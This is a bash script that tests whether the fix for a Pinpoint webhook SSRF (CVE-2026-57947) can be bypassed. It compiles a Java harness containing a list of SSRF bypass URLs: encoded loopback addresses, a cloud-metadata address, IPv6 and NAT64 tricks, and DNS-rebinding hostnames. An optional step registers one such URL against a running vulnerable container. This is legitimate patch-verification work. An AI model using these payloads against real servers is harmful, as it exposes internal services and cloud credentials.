#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$ROOT/vuln_variant/artifacts"
CLASSES="$ROOT/vuln_variant/classes"
LIB="$ROOT/vuln_variant/lib"
CACHE_CTX="$ROOT/project_cache_context.json"

mkdir -p "$LOGS" "$ARTIFACTS" "$CLASSES" "$LIB"

exec > >(tee -a "$LOGS/reproduction_steps.log")
exec 2>&1

echo "=== Pinpoint CVE-2026-57947 webhook SSRF variant / bypass analysis ==="
echo "ROOT=$ROOT"

# Locate the source repository (project cache or clone fresh if missing)
REPO_DIR=""
if [ -f "$CACHE_CTX" ]; then
    REPO_DIR=$(python3 -c "import json,sys; d=json.load(open(sys.argv[1])); print(d.get('project_cache_dir','')+'/repo')" "$CACHE_CTX")
fi
if [ -z "$REPO_DIR" ] || [ ! -d "$REPO_DIR/.git" ]; then
    REPO_DIR="$ARTIFACTS/pinpoint-repo"
    mkdir -p "$REPO_DIR"
    if [ ! -d "$REPO_DIR/.git" ]; then
        echo "Cloning pinpoint repository..."
        git clone --depth 1 --no-single-branch https://github.com/pinpoint-apm/pinpoint.git "$REPO_DIR"
    fi
fi

VULNERABLE_REF="v3.1.0"
FIXED_REF="f683a24b4f"
LATEST_REF=$(cd "$REPO_DIR" && git rev-parse origin/master 2>/dev/null || echo "unknown")

echo "REPO_DIR=$REPO_DIR"
echo "VULNERABLE_REF=$VULNERABLE_REF"
echo "FIXED_REF=$FIXED_REF"
echo "LATEST_REF=$LATEST_REF"

# Record source identities
cat > "$ARTIFACTS/source_identity.txt" <<EOF
vulnerable_ref: $VULNERABLE_REF
fixed_ref: $FIXED_REF
latest_master_ref: $LATEST_REF
repo: https://github.com/pinpoint-apm/pinpoint.git
EOF

# Download required dependencies
ensure_jar() {
    local name="$1"
    local url="$2"
    local path="$LIB/$name"
    if [ ! -f "$path" ]; then
        echo "Downloading $name..."
        curl -fsSL -o "$path" "$url" || {
            echo "Failed to download $name" >&2
            exit 1
        }
    fi
}

ensure_jar "ipaddress-5.5.1.jar" "https://repo1.maven.org/maven2/com/github/seancfoley/ipaddress/5.5.1/ipaddress-5.5.1.jar"
ensure_jar "httpcore5-5.3.4.jar" "https://repo1.maven.org/maven2/org/apache/httpcomponents/core5/httpcore5/5.3.4/httpcore5-5.3.4.jar"
ensure_jar "httpclient5-5.4.4.jar" "https://repo1.maven.org/maven2/org/apache/httpcomponents/client5/httpclient5/5.4.4/httpclient5-5.4.4.jar"
ensure_jar "slf4j-api-2.0.16.jar" "https://repo1.maven.org/maven2/org/slf4j/slf4j-api/2.0.16/slf4j-api-2.0.16.jar"

CP="$CLASSES:$LIB/ipaddress-5.5.1.jar:$LIB/httpcore5-5.3.4.jar:$LIB/httpclient5-5.4.4.jar:$LIB/slf4j-api-2.0.16.jar"

# Extract the patched source files from the fixed commit into the work area
extract_fixed_source() {
    mkdir -p "$ARTIFACTS/src/webhook/support" "$ARTIFACTS/src/batch/alarm/sender"
    (cd "$REPO_DIR" && git show "$FIXED_REF:webhook/src/main/java/com/navercorp/pinpoint/web/webhook/support/WebhookUrlValidator.java") > "$ARTIFACTS/src/webhook/support/WebhookUrlValidator.java"
    (cd "$REPO_DIR" && git show "$FIXED_REF:batch-alarmsender/src/main/java/com/navercorp/pinpoint/batch/alarm/sender/WebhookDnsResolver.java") > "$ARTIFACTS/src/batch/alarm/sender/WebhookDnsResolver.java"
}

extract_fixed_source

# Write a Java harness that tests the unpatched validation, the patched registration validator,
# and the patched send-time DNS resolver against a set of bypass candidates.
mkdir -p "$ARTIFACTS/src/test"
cat > "$ARTIFACTS/src/test/VariantBypassHarness.java" <<'EOF'
package test;

import com.navercorp.pinpoint.web.webhook.support.WebhookUrlValidator;
import com.navercorp.pinpoint.batch.alarm.sender.WebhookDnsResolver;
import org.apache.hc.client5.http.DnsResolver;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;

public class VariantBypassHarness {

    private static final String[] PRIVATE_TARGET_CANDIDATES = {
        // Classic internal targets from the original CVE
        "http://127.0.0.1/",
        "http://[::1]/",
        "http://169.254.169.254/latest/meta-data",
        "http://localhost/",

        // Alternative IP literal encodings
        "http://2130706433/",                 // decimal 127.0.0.1
        "http://0177.0.0.1/",                 // octal 127.0.0.1
        "http://0x7f000001/",                 // hex 127.0.0.1
        "http://127.1/",                      // short 127.0.0.1 (URI rejects)
        "http://127.0.1/",                    // short 127.0.0.1 (URI rejects)
        "http://0x7f.0.0.1/",                 // mixed hex (URI rejects)
        "http://0x7f.1/",                     // mixed hex/short (URI rejects)

        // IPv6 alternative forms
        "http://[0:0:0:0:0:0:0:1]/",
        "http://[0000:0000:0000:0000:0000:0000:0000:0001]/",
        "http://[::127.0.0.1]/",              // IPv4-compatible IPv6
        "http://[::0:127.0.0.1]/",            // IPv4-mapped IPv6 variant
        "http://[0:0:0:0:0:ffff:127.0.0.1]/", // full IPv4-mapped
        "http://[::ffff:0:127.0.0.1]/",       // another IPv4-mapped form
        "http://[::ffff:7f00:1]/",            // hex embedded IPv4-mapped
        "http://[64:ff9b::7f00:1]/",          // NAT64 loopback
        "http://[64:ff9b::a9fe:a9fe]/",       // NAT64 metadata
        "http://[fe80::1%25lo0]/",            // link-local with zone id
        "http://[::1%25lo0]/",                // loopback with zone id

        // Hostname-based DNS rebinding / naming tricks
        "http://127.0.0.1.nip.io/",
        "http://127-0-0-1.nip.io/",
        "http://127.0.0.1.xip.io/",
        "http://example.localhost.com/",      // does not end with .localhost
        "http://localhost.example.com/",      // does not end with .localhost
    };

    private static final String[] PUBLIC_CONTROL_URLS = {
        "http://8.8.8.8/",
        "http://example.com/",
        "https://[2606:4700:4700::1111]/",
    };

    public static void main(String[] args) throws Exception {
        Map<String, String[]> dnsRecords = buildDnsRecords();
        WebhookDnsResolver resolver = new WebhookDnsResolver(new StaticDnsResolver(dnsRecords));

        int privateTargets = PRIVATE_TARGET_CANDIDATES.length;
        int publicControls = PUBLIC_CONTROL_URLS.length;
        int privateVulnAccepted = 0;
        int privatePatchedBlocked = 0;
        int privatePatchedLeaked = 0;
        int publicPatchedAllowed = 0;

        System.out.println("--- private-target bypass candidates: vulnerable vs patched ---");
        for (String url : PRIVATE_TARGET_CANDIDATES) {
            boolean vuln = vulnerableAccepts(url);
            boolean regBlock = patchedRegistrationBlocks(url);
            String sendInfo = patchedSendBlocks(url, resolver);
            boolean sendBlock = sendInfo.startsWith("BLOCKED");

            if (vuln) privateVulnAccepted++;
            if (regBlock || sendBlock) privatePatchedBlocked++;
            if (!regBlock && !sendBlock) privatePatchedLeaked++;

            String mark = (vuln && !regBlock && !sendBlock) ? "[TRUE BYPASS]" : "               ";
            System.out.printf("%s vulnerable=%s reg=%s send=%s | %s%n", mark, vuln, regBlock, sendInfo, url);
        }

        System.out.println("\n--- public-control URLs: should remain allowed ---");
        for (String url : PUBLIC_CONTROL_URLS) {
            boolean vuln = vulnerableAccepts(url);
            boolean regBlock = patchedRegistrationBlocks(url);
            String sendInfo = patchedSendBlocks(url, resolver);
            boolean sendBlock = sendInfo.startsWith("BLOCKED");
            boolean allowed = !regBlock && !sendBlock;
            if (allowed) publicPatchedAllowed++;
            System.out.printf("  vulnerable=%s reg=%s send=%s allowed=%s | %s%n", vuln, regBlock, sendInfo, allowed, url);
        }

        System.out.println("\n--- summary ---");
        System.out.println("Private target candidates: " + privateTargets);
        System.out.println("  accepted by vulnerable validator: " + privateVulnAccepted);
        System.out.println("  blocked by patched validator/DNS: " + privatePatchedBlocked);
        System.out.println("  not blocked by patched code: " + privatePatchedLeaked);
        System.out.println("Public control URLs: " + publicControls);
        System.out.println("  still allowed by patched code: " + publicPatchedAllowed);

        if (privatePatchedLeaked > 0) {
            System.out.println("RESULT: bypass confirmed on fixed code");
            System.exit(0);
        } else if (publicPatchedAllowed != publicControls) {
            System.out.println("RESULT: patch overblocks public URLs (unexpected)");
            System.exit(2);
        } else {
            System.out.println("RESULT: no bypass found; patch blocks all private-target variants");
            System.exit(1);
        }
    }

    private static boolean vulnerableAccepts(String url) {
        if (url == null) return false;
        try {
            URL u = new URL(url);
            u.toURI();
            return true;
        } catch (MalformedURLException | URISyntaxException e) {
            return false;
        }
    }

    private static boolean patchedRegistrationBlocks(String url) {
        try {
            WebhookUrlValidator.validate(url);
            return false;
        } catch (IllegalArgumentException e) {
            return true;
        } catch (Exception e) {
            return true;
        }
    }

    private static String patchedSendBlocks(String url, WebhookDnsResolver resolver) {
        String host;
        try {
            host = new URI(url).normalize().parseServerAuthority().getHost();
        } catch (URISyntaxException e) {
            return "BLOCKED(syntax)";
        }
        if (host == null || host.isBlank()) {
            return "BLOCKED(no-host)";
        }
        try {
            resolver.resolve(host);
            return "ALLOWED";
        } catch (UnknownHostException e) {
            return "BLOCKED(dns:" + e.getMessage() + ")";
        }
    }

    private static Map<String, String[]> buildDnsRecords() throws Exception {
        Map<String, String[]> records = new LinkedHashMap<>();
        records.put("127.0.0.1.nip.io", new String[]{"127.0.0.1"});
        records.put("127-0-0-1.nip.io", new String[]{"127.0.0.1"});
        records.put("127.0.0.1.xip.io", new String[]{"127.0.0.1"});
        records.put("example.localhost.com", new String[]{"127.0.0.1"});
        records.put("localhost.example.com", new String[]{"127.0.0.1"});
        records.put("example.com", new String[]{"8.8.8.8"});           // public control
        records.put("8.8.8.8", new String[]{"8.8.8.8"});               // IP literal still goes through resolver
        records.put("2606:4700:4700::1111", new String[]{"2606:4700:4700::1111"});
        records.put("[2606:4700:4700::1111]", new String[]{"2606:4700:4700::1111"});
        return records;
    }

    private static class StaticDnsResolver implements DnsResolver {
        private final Map<String, InetAddress[]> records;

        StaticDnsResolver(Map<String, String[]> records) throws Exception {
            this.records = new LinkedHashMap<>();
            for (Map.Entry<String, String[]> e : records.entrySet()) {
                InetAddress[] addrs = new InetAddress[e.getValue().length];
                for (int i = 0; i < e.getValue().length; i++) {
                    addrs[i] = InetAddress.getByName(e.getValue()[i]);
                }
                this.records.put(e.getKey(), addrs);
            }
        }

        @Override
        public InetAddress[] resolve(String host) throws UnknownHostException {
            InetAddress[] addrs = records.get(host);
            if (addrs == null || addrs.length == 0) {
                throw new UnknownHostException(host);
            }
            return addrs.clone();
        }

        @Override
        public String resolveCanonicalHostname(String host) {
            return host;
        }
    }
}
EOF

# Compile
mkdir -p "$CLASSES/test"
javac -cp "$CP" -d "$CLASSES" \
    "$ARTIFACTS/src/webhook/support/WebhookUrlValidator.java" \
    "$ARTIFACTS/src/batch/alarm/sender/WebhookDnsResolver.java" \
    "$ARTIFACTS/src/test/VariantBypassHarness.java" 2>&1 | tee "$LOGS/compile.log"

# Run the harness
java -cp "$CP" test.VariantBypassHarness 2>&1 | tee "$LOGS/harness.log"
HARNESS_EXIT=${PIPESTATUS[0]}

# Optional: if the vulnerable Pinpoint web container is already running, demonstrate that
# one of the bypass-candidate URLs would have been accepted by the unpatched endpoint.
if docker ps --format '{{.Names}}' | grep -q '^ppssrf-web$'; then
    echo "--- vulnerable runtime check (optional): registering 127.0.0.1.nip.io against running 3.1.0 container ---"
    HOST_IP=$(ip route show default | awk '{print $3}')
    COOKIE_JAR="$ARTIFACTS/vuln_check_cookies.txt"
    rm -f "$COOKIE_JAR"
    curl -s -c "$COOKIE_JAR" -X POST "http://${HOST_IP}:28080/login" -d "username=testuser&password=testpass123" >/dev/null
    JWT=$(awk '/pinpointJwt/{print $NF}' "$COOKIE_JAR")
    SUFFIX=$(date +%s)
    RESP=$(curl -s -X POST "http://${HOST_IP}:28080/api/webhook" \
        -H "Content-Type: application/json" \
        -H "Cookie: pinpointJwt=${JWT}" \
        -d "{\"url\":\"http://127.0.0.1.nip.io/\",\"applicationName\":\"bypass-test-${SUFFIX}\"}")
    echo "Vulnerable 3.1.0 registration response for 127.0.0.1.nip.io: $RESP"
    if echo "$RESP" | grep -q '"result":"SUCCESS"'; then
        echo "Vulnerable 3.1.0 accepted the bypass-candidate URL."
    else
        echo "Vulnerable 3.1.0 did not accept the URL (auth/session issue or container not ready)."
    fi
else
    echo "Vulnerable Pinpoint web container not running; skipping optional runtime check."
fi

if [ "$HARNESS_EXIT" -eq 0 ]; then
    echo "=== Variant/bypass reproduced on fixed code ==="
    exit 0
else
    echo "=== No bypass found; patched code blocks all tested variants ==="
    exit 1
fi
